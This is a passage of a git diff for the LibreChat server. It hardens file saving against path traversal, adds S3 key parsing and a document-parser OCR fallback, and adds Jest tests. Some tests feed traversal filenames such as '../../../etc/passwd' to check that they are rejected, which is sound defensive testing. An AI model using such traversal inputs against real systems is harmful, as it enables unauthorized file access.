+  getStrategyFunctions: jest.fn(() => ({
+    saveBuffer: mockSaveBuffer,
+  })),
+}));
+
+jest.mock('~/server/services/Files/permissions', () => ({
+  filterFilesByAgentAccess: jest.fn().mockResolvedValue([]),
+}));
+
+jest.mock('~/server/services/Files/images/convert', () => ({
+  convertImage: jest.fn(),
+}));
+
+jest.mock('~/server/utils', () => ({
+  determineFileType: jest.fn().mockResolvedValue({ mime: 'text/csv' }),
+}));
+
+jest.mock('axios', () =>
+  jest.fn().mockResolvedValue({
+    data: Buffer.from('file-content'),
+  }),
+);
+
+const { createFile } = require('~/models');
+const { processCodeOutput } = require('../process');
+
+const baseParams = {
+  req: {
+    user: { id: 'user123' },
+    config: {
+      fileStrategy: 'local',
+      imageOutputType: 'webp',
+      fileConfig: {},
+    },
+  },
+  id: 'code-file-id',
+  apiKey: 'test-key',
+  toolCallId: 'tool-1',
+  conversationId: 'conv-1',
+  messageId: 'msg-1',
+  session_id: 'session-1',
+};
+
+describe('processCodeOutput path traversal protection', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+  });
+
+  test('sanitizeFilename is called with the raw artifact name', async () => {
+    mockSanitizeFilename.mockReturnValueOnce('output.csv');
+    await processCodeOutput({ ...baseParams, name: 'output.csv' });
+    expect(mockSanitizeFilename).toHaveBeenCalledWith('output.csv');
+  });
+
+  test('sanitized name is used in saveBuffer fileName', async () => {
+    mockSanitizeFilename.mockReturnValueOnce('sanitized-name.txt');
+    await processCodeOutput({ ...baseParams, name: '../../../tmp/poc.txt' });
+
+    expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../tmp/poc.txt');
+    const call = mockSaveBuffer.mock.calls[0][0];
+    expect(call.fileName).toBe('mock-uuid__sanitized-name.txt');
+  });
+
+  test('sanitized name is stored as filename in the file record', async () => {
+    mockSanitizeFilename.mockReturnValueOnce('safe-output.csv');
+    await processCodeOutput({ ...baseParams, name: 'unsafe/../../output.csv' });
+
+    const fileArg = createFile.mock.calls[0][0];
+    expect(fileArg.filename).toBe('safe-output.csv');
+  });
+
+  test('sanitized name is used for image file records', async () => {
+    const { convertImage } = require('~/server/services/Files/images/convert');
+    convertImage.mockResolvedValueOnce({
+      filepath: '/images/user123/mock-uuid.webp',
+      bytes: 100,
+    });
+
+    mockSanitizeFilename.mockReturnValueOnce('safe-chart.png');
+    await processCodeOutput({ ...baseParams, name: '../../../chart.png' });
+
+    expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../chart.png');
+    const fileArg = createFile.mock.calls[0][0];
+    expect(fileArg.filename).toBe('safe-chart.png');
+  });
+});
diff --git a/api/server/services/Files/Code/process.js b/api/server/services/Files/Code/process.js
index 3f0bfcfc87..e878b00255 100644
--- a/api/server/services/Files/Code/process.js
+++ b/api/server/services/Files/Code/process.js
@@ -3,7 +3,7 @@ const { v4 } = require('uuid');
 const axios = require('axios');
 const { logger } = require('@librechat/data-schemas');
 const { getCodeBaseURL } = require('@librechat/agents');
-const { logAxiosError, getBasePath } = require('@librechat/api');
+const { logAxiosError, getBasePath, sanitizeFilename } = require('@librechat/api');
 const {
   Tools,
   megabyte,
@@ -146,6 +146,13 @@ const processCodeOutput = async ({
       );
     }
 
+    const safeName = sanitizeFilename(name);
+    if (safeName !== name) {
+      logger.warn(
+        `[processCodeOutput] Filename sanitized: "${name}" -> "${safeName}" | conv=${conversationId}`,
+      );
+    }
+
     if (isImage) {
       const usage = isUpdate ? (claimed.usage ?? 0) + 1 : 1;
       const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`);
@@ -156,7 +163,7 @@ const processCodeOutput = async ({
         file_id,
         messageId,
         usage,
-        filename: name,
+        filename: safeName,
         conversationId,
         user: req.user.id,
         type: `image/${appConfig.imageOutputType}`,
@@ -200,7 +207,7 @@ const processCodeOutput = async ({
       );
     }
 
-    const fileName = `${file_id}__${name}`;
+    const fileName = `${file_id}__${safeName}`;
     const filepath = await saveBuffer({
       userId: req.user.id,
       buffer,
@@ -213,7 +220,7 @@ const processCodeOutput = async ({
       filepath,
       messageId,
       object: 'file',
-      filename: name,
+      filename: safeName,
       type: mimeType,
       conversationId,
       user: req.user.id,
@@ -229,6 +236,11 @@ const processCodeOutput = async ({
     await createFile(file, true);
     return Object.assign(file, { messageId, toolCallId });
   } catch (error) {
+    if (error?.message === 'Path traversal detected in filename') {
+      logger.warn(
+        `[processCodeOutput] Path traversal blocked for file "${name}" | conv=${conversationId}`,
+      );
+    }
     logAxiosError({
       message: 'Error downloading/processing code environment file',
       error,
diff --git a/api/server/services/Files/Code/process.spec.js b/api/server/services/Files/Code/process.spec.js
index f01a623f90..b89a6c6307 100644
--- a/api/server/services/Files/Code/process.spec.js
+++ b/api/server/services/Files/Code/process.spec.js
@@ -58,6 +58,7 @@ jest.mock('@librechat/agents', () => ({
 jest.mock('@librechat/api', () => ({
   logAxiosError: jest.fn(),
   getBasePath: jest.fn(() => ''),
+  sanitizeFilename: jest.fn((name) => name),
 }));
 
 // Mock models
diff --git a/api/server/services/Files/Local/__tests__/crud-traversal.spec.js b/api/server/services/Files/Local/__tests__/crud-traversal.spec.js
new file mode 100644
index 0000000000..57ba221d68
--- /dev/null
+++ b/api/server/services/Files/Local/__tests__/crud-traversal.spec.js
@@ -0,0 +1,69 @@
+jest.mock('@librechat/api', () => ({ deleteRagFile: jest.fn() }));
+jest.mock('@librechat/data-schemas', () => ({
+  logger: { warn: jest.fn(), error: jest.fn() },
+}));
+
+const mockTmpBase = require('fs').mkdtempSync(
+  require('path').join(require('os').tmpdir(), 'crud-traversal-'),
+);
+
+jest.mock('~/config/paths', () => {
+  const path = require('path');
+  return {
+    publicPath: path.join(mockTmpBase, 'public'),
+    uploads: path.join(mockTmpBase, 'uploads'),
+  };
+});
+
+const fs = require('fs');
+const path = require('path');
+const { saveLocalBuffer } = require('../crud');
+
+describe('saveLocalBuffer path containment', () => {
+  beforeAll(() => {
+    fs.mkdirSync(path.join(mockTmpBase, 'public', 'images'), { recursive: true });
+    fs.mkdirSync(path.join(mockTmpBase, 'uploads'), { recursive: true });
+  });
+
+  afterAll(() => {
+    fs.rmSync(mockTmpBase, { recursive: true, force: true });
+  });
+
+  test('rejects filenames with path traversal sequences', async () => {
+    await expect(
+      saveLocalBuffer({
+        userId: 'user1',
+        buffer: Buffer.from('malicious'),
+        fileName: '../../../etc/passwd',
+        basePath: 'uploads',
+      }),
+    ).rejects.toThrow('Path traversal detected in filename');
+  });
+
+  test('rejects prefix-collision traversal (startsWith bypass)', async () => {
+    fs.mkdirSync(path.join(mockTmpBase, 'uploads', 'user10'), { recursive: true });
+    await expect(
+      saveLocalBuffer({
+        userId: 'user1',
+        buffer: Buffer.from('malicious'),
+        fileName: '../user10/evil',
+        basePath: 'uploads',
+      }),
+    ).rejects.toThrow('Path traversal detected in filename');
+  });
+
+  test('allows normal filenames', async () => {
+    const result = await saveLocalBuffer({
+      userId: 'user1',
+      buffer: Buffer.from('safe content'),
+      fileName: 'file-id__output.csv',
+      basePath: 'uploads',
+    });
+
+    expect(result).toBe('/uploads/user1/file-id__output.csv');
+
+    const filePath = path.join(mockTmpBase, 'uploads', 'user1', 'file-id__output.csv');
+    expect(fs.existsSync(filePath)).toBe(true);
+    fs.unlinkSync(filePath);
+  });
+});
diff --git a/api/server/services/Files/Local/crud.js b/api/server/services/Files/Local/crud.js
index 1f38a01f83..c86774d472 100644
--- a/api/server/services/Files/Local/crud.js
+++ b/api/server/services/Files/Local/crud.js
@@ -78,7 +78,13 @@ async function saveLocalBuffer({ userId, buffer, fileName, basePath = 'images' }
       fs.mkdirSync(directoryPath, { recursive: true });
     }
 
-    fs.writeFileSync(path.join(directoryPath, fileName), buffer);
+    const resolvedDir = path.resolve(directoryPath);
+    const resolvedPath = path.resolve(resolvedDir, fileName);
+    const rel = path.relative(resolvedDir, resolvedPath);
+    if (rel.startsWith('..') || path.isAbsolute(rel) || rel.includes(`..${path.sep}`)) {
+      throw new Error('Path traversal detected in filename');
+    }
+    fs.writeFileSync(resolvedPath, buffer);
 
     const filePath = path.posix.join('/', basePath, userId, fileName);
 
@@ -165,9 +171,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
 }
 
 /**
- * Validates if a given filepath is within a specified subdirectory under a base path. This function constructs
- * the expected base path using the base, subfolder, and user id from the request, and then checks if the
- * provided filepath starts with this constructed base path.
+ * Validates that a filepath is strictly contained within a subdirectory under a base path,
+ * using path.relative to prevent prefix-collision bypasses.
  *
  * @param {ServerRequest} req - The request object from Express. It should contain a `user` property with an `id`.
  * @param {string} base - The base directory path.
@@ -180,7 +185,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
 const isValidPath = (req, base, subfolder, filepath) => {
   const normalizedBase = path.resolve(base, subfolder, req.user.id);
   const normalizedFilepath = path.resolve(filepath);
-  return normalizedFilepath.startsWith(normalizedBase);
+  const rel = path.relative(normalizedBase, normalizedFilepath);
+  return !rel.startsWith('..') && !path.isAbsolute(rel) && !rel.includes(`..${path.sep}`);
 };
 
 /**
diff --git a/api/server/services/Files/S3/crud.js b/api/server/services/Files/S3/crud.js
index 0721e33b29..c821c0696c 100644
--- a/api/server/services/Files/S3/crud.js
+++ b/api/server/services/Files/S3/crud.js
@@ -3,7 +3,7 @@ const fetch = require('node-fetch');
 const { logger } = require('@librechat/data-schemas');
 const { FileSources } = require('librechat-data-provider');
 const { getSignedUrl } = require('@aws-sdk/s3-request-presigner');
-const { initializeS3, deleteRagFile } = require('@librechat/api');
+const { initializeS3, deleteRagFile, isEnabled } = require('@librechat/api');
 const {
   PutObjectCommand,
   GetObjectCommand,
@@ -13,6 +13,8 @@ const {
 
 const bucketName = process.env.AWS_BUCKET_NAME;
 const defaultBasePath = 'images';
+const endpoint = process.env.AWS_ENDPOINT_URL;
+const forcePathStyle = isEnabled(process.env.AWS_FORCE_PATH_STYLE);
 
 let s3UrlExpirySeconds = 2 * 60; // 2 minutes
 let s3RefreshExpiryMs = null;
@@ -252,15 +254,83 @@ function extractKeyFromS3Url(fileUrlOrKey) {
 
   try {
     const url = new URL(fileUrlOrKey);
-    return url.pathname.substring(1);
+    const hostname = url.hostname;
+    const pathname = url.pathname.substring(1); // Remove leading slash
+
+    // Explicit path-style with custom endpoint: use endpoint pathname for precise key extraction.
+    // Handles endpoints with a base path (e.g. https://example.com/storage/).
+    if (endpoint && forcePathStyle) {
+      const endpointUrl = new URL(endpoint);
+      const startPos =
+        endpointUrl.pathname.length +
+        (endpointUrl.pathname.endsWith('/') ? 0 : 1) +
+        bucketName.length +
+        1;
+      const key = url.pathname.substring(startPos);
+      if (!key) {
+        logger.warn(
+          `[extractKeyFromS3Url] Extracted key is empty for endpoint path-style URL: ${fileUrlOrKey}`,
+        );
+      } else {
+        logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`);
+      }
+      return key;
+    }
+
+    if (
+      hostname === 's3.amazonaws.com' ||
+      hostname.match(/^s3[-.][a-z0-9-]+\.amazonaws\.com$/) ||
+      (bucketName && pathname.startsWith(`${bucketName}/`))
+    ) {
+      // Path-style: https://s3.amazonaws.com/bucket-name/key or custom endpoint (MinIO, R2, etc.)
+      // Strip the bucket name (first path segment)
+      const firstSlashIndex = pathname.indexOf('/');
+      if (firstSlashIndex > 0) {
+        const key = pathname.substring(firstSlashIndex + 1);
+
+        if (key === '') {
+          logger.warn(
+            `[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: ${fileUrlOrKey}`,
+          );
+        } else {
+          logger.debug(
+            `[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`,
+          );
+        }
+
+        return key;
+      } else {
+        logger.warn(
+          `[extractKeyFromS3Url] Unable to extract key from path-style URL: ${fileUrlOrKey}`,
+        );
+        return '';
+      }
+    }
+
+    // Virtual-hosted-style or other: https://bucket-name.s3.amazonaws.com/key
+    // Just return the pathname without leading slash
+    logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${pathname}`);
+    return pathname;
   } catch (error) {
+    if (fileUrlOrKey.startsWith('http://') || fileUrlOrKey.startsWith('https://')) {
+      logger.error(
+        `[extractKeyFromS3Url] Error parsing URL: ${fileUrlOrKey}, Error: ${error.message}`,
+      );
+    } else {
+      logger.debug(`[extractKeyFromS3Url] Non-URL input, using fallback: ${fileUrlOrKey}`);
+    }
+
     const parts = fileUrlOrKey.split('/');
 
     if (parts.length >= 3 && !fileUrlOrKey.startsWith('http') && !fileUrlOrKey.startsWith('/')) {
       return fileUrlOrKey;
     }
 
-    return fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey;
+    const key = fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey;
+    logger.debug(
+      `[extractKeyFromS3Url] FALLBACK. fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`,
+    );
+    return key;
   }
 }
 
@@ -482,4 +552,5 @@ module.exports = {
   refreshS3Url,
   needsRefresh,
   getNewS3URL,
+  extractKeyFromS3Url,
 };
diff --git a/api/server/services/Files/process.js b/api/server/services/Files/process.js
index 30b47f2e52..d01128927a 100644
--- a/api/server/services/Files/process.js
+++ b/api/server/services/Files/process.js
@@ -16,6 +16,7 @@ const {
   removeNullishValues,
   isAssistantsEndpoint,
   getEndpointFileConfig,
+  documentParserMimeTypes,
 } = require('librechat-data-provider');
 const { EnvVar } = require('@librechat/agents');
 const { logger } = require('@librechat/data-schemas');
@@ -523,6 +524,12 @@ const processAgentFileUpload = async ({ req, res, metadata }) => {
      * @return {Promise<void>}
      */
     const createTextFile = async ({ text, bytes, filepath, type = 'text/plain' }) => {
+      const textBytes = Buffer.byteLength(text, 'utf8');
+      if (textBytes > 15 * megabyte) {
+        throw new Error(
+          `Extracted text from "${file.originalname}" exceeds the 15MB storage limit (${Math.round(textBytes / megabyte)}MB). Try a shorter document.`,
+        );
+      }
       const fileInfo = removeNullishValues({
         text,
         bytes,
@@ -553,29 +560,52 @@ const processAgentFileUpload = async ({ req, res, metadata }) => {
 
     const fileConfig = mergeFileConfig(appConfig.fileConfig);
 
-    const shouldUseOCR =
+    const shouldUseConfiguredOCR =
       appConfig?.ocr != null &&
       fileConfig.checkType(file.mimetype, fileConfig.ocr?.supportedMimeTypes || []);
 
-    if (shouldUseOCR && !(await checkCapability(req, AgentCapabilities.ocr))) {
-      throw new Error('OCR capability is not enabled for Agents');
-    } else if (shouldUseOCR) {
+    const shouldUseDocumentParser =
+      !shouldUseConfiguredOCR && documentParserMimeTypes.some((regex) => regex.test(file.mimetype));
+
+    const shouldUseOCR = shouldUseConfiguredOCR || shouldUseDocumentParser;
+
+    const resolveDocumentText = async () => {
+      if (shouldUseConfiguredOCR) {
+        try {
+          const ocrStrategy = appConfig?.ocr?.strategy ?? FileSources.document_parser;
+          const { handleFileUpload } = getStrategyFunctions(ocrStrategy);
+          return await handleFileUpload({ req, file, loadAuthValues });
+        } catch (err) {
+          logger.error(
+            `[processAgentFileUpload] Configured OCR failed for "${file.originalname}", falling back to document_parser:`,
+            err,
+          );
+        }
+      }
       try {
-        const { handleFileUpload: uploadOCR } = getStrategyFunctions(
-          appConfig?.ocr?.strategy ?? FileSources.mistral_ocr,
-        );
-        const {
-          text,
-          bytes,
-          filepath: ocrFileURL,
-        } = await uploadOCR({ req, file, loadAuthValues });
-        return await createTextFile({ text, bytes, filepath: ocrFileURL });
-      } catch (ocrError) {
+        const { handleFileUpload } = getStrategyFunctions(FileSources.document_parser);
+        return await handleFileUpload({ req, file, loadAuthValues });
+      } catch (err) {
         logger.error(
-          `[processAgentFileUpload] OCR processing failed for file "${file.originalname}", falling back to text extraction:`,
-          ocrError,
+          `[processAgentFileUpload] Document parser failed for "${file.originalname}":`,
+          err,
         );
       }
+    };
+
+    if (shouldUseConfiguredOCR && !(await checkCapability(req, AgentCapabilities.ocr))) {
+      throw new Error('OCR capability is not enabled for Agents');
+    }
+
+    if (shouldUseOCR) {
+      const ocrResult = await resolveDocumentText();
+      if (ocrResult) {
+        const { text, bytes, filepath: ocrFileURL } = ocrResult;
+        return await createTextFile({ text, bytes, filepath: ocrFileURL });
+      }
+      throw new Error(
+        `Unable to extract text from "${file.originalname}". The document may be image-based and requires an OCR service to process.`,
+      );
     }
 
     const shouldUseSTT = fileConfig.checkType(
diff --git a/api/server/services/Files/process.spec.js b/api/server/services/Files/process.spec.js
new file mode 100644
index 0000000000..7737255a52
--- /dev/null
+++ b/api/server/services/Files/process.spec.js
@@ -0,0 +1,347 @@
+jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
+}));
+
+jest.mock('@librechat/agents', () => ({
+  EnvVar: { CODE_API_KEY: 'CODE_API_KEY' },
+}));
+
+jest.mock('@librechat/api', () => ({
+  sanitizeFilename: jest.fn((n) => n),
+  parseText: jest.fn().mockResolvedValue({ text: '', bytes: 0 }),
+  processAudioFile: jest.fn(),
+}));
+
+jest.mock('librechat-data-provider', () => ({
+  ...jest.requireActual('librechat-data-provider'),
+  mergeFileConfig: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/images', () => ({
+  convertImage: jest.fn(),
+  resizeAndConvert: jest.fn(),
+  resizeImageBuffer: jest.fn(),
+}));
+
+jest.mock('~/server/controllers/assistants/v2', () => ({
+  addResourceFileId: jest.fn(),
+  deleteResourceFileId: jest.fn(),
+}));
+
+jest.mock('~/models/Agent', () => ({
+  addAgentResourceFile: jest.fn().mockResolvedValue({}),
+  removeAgentResourceFiles: jest.fn(),
+}));
+
+jest.mock('~/server/controllers/assistants/helpers', () => ({
+  getOpenAIClient: jest.fn(),
+}));
+
+jest.mock('~/server/services/Tools/credentials', () => ({
+  loadAuthValues: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+  createFile: jest.fn().mockResolvedValue({ file_id: 'created-file-id' }),
+  updateFileUsage: jest.fn(),
+  deleteFiles: jest.fn(),
+}));
+
+jest.mock('~/server/utils/getFileStrategy', () => ({
+  getFileStrategy: jest.fn().mockReturnValue('local'),
+}));
+
+jest.mock('~/server/services/Config', () => ({
+  checkCapability: jest.fn().mockResolvedValue(true),
+}));
+
+jest.mock('~/server/utils/queue', () => ({
+  LB_QueueAsyncCall: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/strategies', () => ({
+  getStrategyFunctions: jest.fn(),
+}));
+
+jest.mock('~/server/utils', () => ({
+  determineFileType: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/Audio/STTService', () => ({
+  STTService: { getInstance: jest.fn() },
+}));
+
+const { EToolResources, FileSources, AgentCapabilities } = require('librechat-data-provider');
+const { mergeFileConfig } = require('librechat-data-provider');
+const { checkCapability } = require('~/server/services/Config');
+const { getStrategyFunctions } = require('~/server/services/Files/strategies');
+const { processAgentFileUpload } = require('./process');
+
+const PDF_MIME = 'application/pdf';
+const DOCX_MIME = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
+const XLSX_MIME = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
+const XLS_MIME = 'application/vnd.ms-excel';
+const ODS_MIME = 'application/vnd.oasis.opendocument.spreadsheet';
+const ODT_MIME = 'application/vnd.oasis.opendocument.text';
+const ODP_MIME = 'application/vnd.oasis.opendocument.presentation';
+const ODG_MIME = 'application/vnd.oasis.opendocument.graphics';
+
+const makeReq = ({ mimetype = PDF_MIME, ocrConfig = null } = {}) => ({
+  user: { id: 'user-123' },
+  file: {
+    path: '/tmp/upload.bin',
+    originalname: 'upload.bin',
+    filename: 'upload-uuid.bin',
+    mimetype,
+  },
+  body: { model: 'gpt-4o' },
+  config: {
+    fileConfig: {},
+    fileStrategy: 'local',
+    ocr: ocrConfig,
+  },
+});
+
+const makeMetadata = () => ({
+  agent_id: 'agent-abc',
+  tool_resource: EToolResources.context,
+  file_id: 'file-uuid-123',
+});
+
+const mockRes = {
+  status: jest.fn().mockReturnThis(),
+  json: jest.fn().mockReturnValue({}),
+};
+
+const makeFileConfig = ({ ocrSupportedMimeTypes = [] } = {}) => ({
+  checkType: (mime, types) => (types ?? []).includes(mime),
+  ocr: { supportedMimeTypes: ocrSupportedMimeTypes },
+  stt: { supportedMimeTypes: [] },
+  text: { supportedMimeTypes: [] },
+});
+
+describe('processAgentFileUpload', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+    mockRes.status.mockReturnThis();
+    mockRes.json.mockReturnValue({});
+    checkCapability.mockResolvedValue(true);
+    getStrategyFunctions.mockReturnValue({
+      handleFileUpload: jest
+        .fn()
+        .mockResolvedValue({ text: 'extracted text', bytes: 42, filepath: 'doc://result' }),
+    });
+    mergeFileConfig.mockReturnValue(makeFileConfig());
+  });
+
+  describe('OCR strategy selection', () => {
+    test.each([
+      ['PDF', PDF_MIME],
+      ['DOCX', DOCX_MIME],
+      ['XLSX', XLSX_MIME],
+      ['XLS', XLS_MIME],
+      ['ODS', ODS_MIME],
+      ['Excel variant (msexcel)', 'application/msexcel'],
+      ['Excel variant (x-msexcel)', 'application/x-msexcel'],
+    ])('uses document_parser automatically for %s when no OCR is configured', async (_, mime) => {
+      mergeFileConfig.mockReturnValue(makeFileConfig());
+      const req = makeReq({ mimetype: mime, ocrConfig: null });
+
+      await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+      expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+    });
+
+    test('does not check OCR capability when using automatic document_parser fallback', async () => {
+      const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+
+      await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+      expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+      expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+    });
+
+    test('uses the configured OCR strategy when OCR is set up for the file type', async () => {
+      mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+      const req = makeReq({
+        mimetype: PDF_MIME,
+        ocrConfig: { strategy: FileSources.mistral_ocr },
+      });
+
+      await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+      expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+      expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
+    });
+
+    test('uses document_parser as default when OCR is configured but no strategy is specified', async () => {
+      mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+      const req = makeReq({
+        mimetype: PDF_MIME,
+        ocrConfig: { supportedMimeTypes: [PDF_MIME] },
+      });
+
+      await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+      expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+      expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+    });
+
+    test('throws when configured OCR capability is not enabled for the agent', async () => {
+      mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+      checkCapability.mockResolvedValue(false);
+      const req = makeReq({
+        mimetype: PDF_MIME,
+        ocrConfig: { strategy: FileSources.mistral_ocr },
+      });
+
+      await expect(
+        processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+      ).rejects.toThrow('OCR capability is not enabled for Agents');
+    });
+
+    test('uses document_parser (no capability check) when OCR capability returns false but no OCR config', async () => {
+      checkCapability.mockResolvedValue(false);
+      const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+
+      await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+      expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+      expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+    });
+
+    test('uses document_parser when OCR is configured but the file type is not in OCR supported types', async () => {
+      mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+      const req = makeReq({
+        mimetype: DOCX_MIME,
+        ocrConfig: { strategy: FileSources.mistral_ocr },
+      });
+
+      await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+      expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+      expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+      expect(getStrategyFunctions).not.toHaveBeenCalledWith(FileSources.mistral_ocr);
+    });
+
+    test('does not invoke any OCR strategy for unsupported MIME types without OCR config', async () => {
+      const req = makeReq({ mimetype: 'text/plain', ocrConfig: null });
+
+      await expect(
+        processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+      ).rejects.toThrow('File type text/plain is not supported for text parsing.');
+
+      expect(getStrategyFunctions).not.toHaveBeenCalled();
+    });
+
+    test.each([
+      ['ODT', ODT_MIME],
+      ['ODP', ODP_MIME],
+      ['ODG', ODG_MIME],
+    ])('routes %s through configured OCR when OCR supports the type', async (_, mime) => {
+      mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [mime] }));
+      const req = makeReq({
+        mimetype: mime,
+        ocrConfig: { strategy: FileSources.mistral_ocr },
+      });
+
+      await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+      expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+      expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
+    });
+
+    test('throws instead of falling back to parseText when document_parser fails for a document MIME type', async () => {
+      getStrategyFunctions.mockReturnValue({
+        handleFileUpload: jest.fn().mockRejectedValue(new Error('No text found in document')),
+      });
+      const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+      const { parseText } = require('@librechat/api');
+
+      await expect(
+        processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+      ).rejects.toThrow(/image-based and requires an OCR service/);
+
+      expect(parseText).not.toHaveBeenCalled();
+    });
+
+    test('falls back to document_parser when configured OCR fails for a document MIME type', async () => {
+      mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+      const failingUpload = jest.fn().mockRejectedValue(new Error('OCR API returned 500'));
+      const fallbackUpload = jest
+        .fn()
+        .mockResolvedValue({ text: 'parsed text', bytes: 11, filepath: 'doc://result' });
+      getStrategyFunctions
+        .mockReturnValueOnce({ handleFileUpload: failingUpload })
+        .mockReturnValueOnce({ handleFileUpload: fallbackUpload });
+      const req = makeReq({
+        mimetype: PDF_MIME,
+        ocrConfig: { strategy: FileSources.mistral_ocr },
+      });
+
+      await expect(
+        processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+      ).resolves.not.toThrow();
+
+      expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
+      expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+    });
+
+    test('throws when both configured OCR and document_parser fallback fail', async () => {
+      mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+      getStrategyFunctions.mockReturnValue({
+        handleFileUpload: jest.fn().mockRejectedValue(new Error('failure')),
+      });
+      const req = makeReq({
+        mimetype: PDF_MIME,
+        ocrConfig: { strategy: FileSources.mistral_ocr },
+      });
+      const { parseText } = require('@librechat/api');
+
+      await expect(
+        processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+      ).rejects.toThrow(/image-based and requires an OCR service/);
+
+      expect(parseText).not.toHaveBeenCalled();
+    });
+  });
+
+  describe('text size guard', () => {
+    test('throws before writing to MongoDB when extracted text exceeds 15MB', async () => {
+      const oversizedText = 'x'.repeat(15 * 1024 * 1024 + 1);
+      getStrategyFunctions.mockReturnValue({
+        handleFileUpload: jest.fn().mockResolvedValue({
+          text: oversizedText,
+          bytes: Buffer.byteLength(oversizedText, 'utf8'),
+          filepath: 'doc://result',
+        }),
+      });
+      const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+      const { createFile } = require('~/models');
+
+      await expect(
+        processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+      ).rejects.toThrow(/exceeds the 15MB storage limit/);
+
+      expect(createFile).not.toHaveBeenCalled();
+    });
+
+    test('succeeds when extracted text is within the 15MB limit', async () => {
+      const okText = 'x'.repeat(1024);
+      getStrategyFunctions.mockReturnValue({
+        handleFileUpload: jest.fn().mockResolvedValue({
+          text: okText,
+          bytes: Buffer.byteLength(okText, 'utf8'),
+          filepath: 'doc://result',
+        }),
+      });
+      const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+
+      await expect(
+        processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+      ).resolves.not.toThrow();
+    });
+  });
+});
diff --git a/api/server/services/Files/strategies.js b/api/server/services/Files/strategies.js
index 2ad526194b..25341b5715 100644
--- a/api/server/services/Files/strategies.js
+++ b/api/server/services/Files/strategies.js
@@ -1,5 +1,6 @@
 const { FileSources } = require('librechat-data-provider');
 const {
+  parseDocument,
   uploadMistralOCR,
   uploadAzureMistralOCR,
   uploadGoogleVertexMistralOCR,
@@ -246,6 +247,26 @@ const vertexMistralOCRStrategy = () => ({
   handleFileUpload: uploadGoogleVertexMistralOCR,
 });
 
+const documentParserStrategy = () => ({
+  /** @type {typeof saveFileFromURL | null} */
+  saveURL: null,
+  /** @type {typeof getLocalFileURL | null} */
+  getFileURL: null,
+  /** @type {typeof saveLocalBuffer | null} */
+  saveBuffer: null,
+  /** @type {typeof processLocalAvatar | null} */
